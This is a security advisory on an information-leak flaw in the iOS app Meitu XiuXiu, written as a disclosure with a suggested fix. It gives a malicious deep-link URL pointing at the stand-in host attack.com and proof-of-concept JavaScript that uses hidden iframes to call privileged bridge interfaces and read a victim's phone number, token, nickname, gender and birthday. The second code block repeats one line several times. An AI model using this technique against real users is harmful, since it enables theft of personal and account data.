
# An information leak vulnerability in the iOS version of Meitu XiuXiu

## **Brief Description**

Meitu XiuXiu app is a image processing application that provides functions including image editing, image filters and photo beautification. It ranks **No.7** in the **"Photo & Video"** category list on the App Store in China region and has **10.566 million ratings**.







The iOS version of the Meitu XiuXiu supports opening web pages from external deep link URL (Scheme-customized URL). Within the built-in WebView, there are **custom interfaces** designed for invocation within web pages. These interfaces are not publicly exposed, but through reverse engineering, we can discover how to invoke them. We found **there lacks a domain name validation** when these interfaces are invoked.

Thus, an attacker can craft a malicious Scheme-customized URL. When clicked by the victim in a browser or another app, the URL can direct the victim to the Meitu XiuXiu app and open a web page controlled by the attacker. The attacker can then invoke privileged interfaces, obtaining victim's personal information (such as Masked PhoneNumber, Birthday, Gender) and obtaining victim's account information (such as NickName, Avatar, UserID, Personal Description, EncryptedToken).


### **Vulnerability Exploitation Process and Root Cause**

The attacker, lures the user to click on a malicious URL (Scheme) in the following format: meituxiuxiu://webview?url=https://attack.com/meituxiuxiu/atkMeituXiuXiu.html. Here, "attack.com" represents a domain under the attacker's control.

When the victim clicks on this URL, it directs the victim to the Meitu XiuXiu app and opens the webpage https://attack.com/meituxiuxiu/atkMeituXiuXiu.html within the app.



Within the webpage, the attacker can then invoke privileged interfaces, compromise victim's privacy such as **obtaining victim's personal information** (such as Masked PhoneNumber, Birthday, Gender) and **obtaining victim's account information** (such as NickName, Avatar, UserID, Personal Description, EncryptedToken).



Part of the code for JS to call OC and the callback function defined in JavaScript are shown below:

```
function fetchData(url) {
    var iframe = document.createElement("iframe");
    iframe.style.cssText = "display:none;width:0px;height:0px;";
    iframe.src = url;
    document.body.appendChild(iframe);
}

fetchData("mt-____://bind____:handler=1");
    fetchData("mt-___://getMeitu___:handler=2");
    fetchData("mt-__://getMeitu__::handler=3");
```

```
var MTJs = {};
MTJs.getParams = function (callbackID){
   return "";
}
MTJs.postMessage = function (retVal){
   Var <u>callbackID</u> = retVal.handler;
   var json = retVal.response;

switch(callbackID){
   case "1":
        document.getElementById("PhoneNum").innerText = "Your PhoneNum (masked): " + "(+" + json.phoneCode + ") " + json.phone;
        break;

   case "2":
        document.getElementById("EncryptedToken").innerText = "Your EncryptedToken: \n" + json.encryptedToken;
        break;

   case "3":
        document.getElementById("NickName").innerText = "Your NickName: " + json.screen_name;
        document.getElementById("Gender").innerText = "Your Gender: " + (json.gender == "m" ? "male" : "female");
        document.getElementById("Birthday").innerText = "Your Birthday: " + json.birthday;
        document.getElementById("Birthday").innerText = "Your Birthday: " + json.birthday;
        document.getElementById("Birthday").innerText = "Your Birthday: " + json.birthday;
        document.getElementById("Birthday").innerText = "Your Birthday: " + json.birthday;
```

## Impact of the Vulnerability

**Scope of the vulnerability**: At least including Meitu XiuXiu iOS version 10.25.5 (the latest version as of 2024-12-07).

Consequences of the vulnerability: Information disclosure.

Download link for affected application:

☞ CN:

https://apps.apple.com/cn/app/%E7%BE%8E%E5%9B%BE%E7%A7%80%E7%A7%80/id 416048305

☞ US:

https://apps.apple.com/us/app/meitu-photo-video-editor/id416048305

#### **Possible Countermeasures**

Should implement more strict domain name checks before the invocation of privileged interfaces.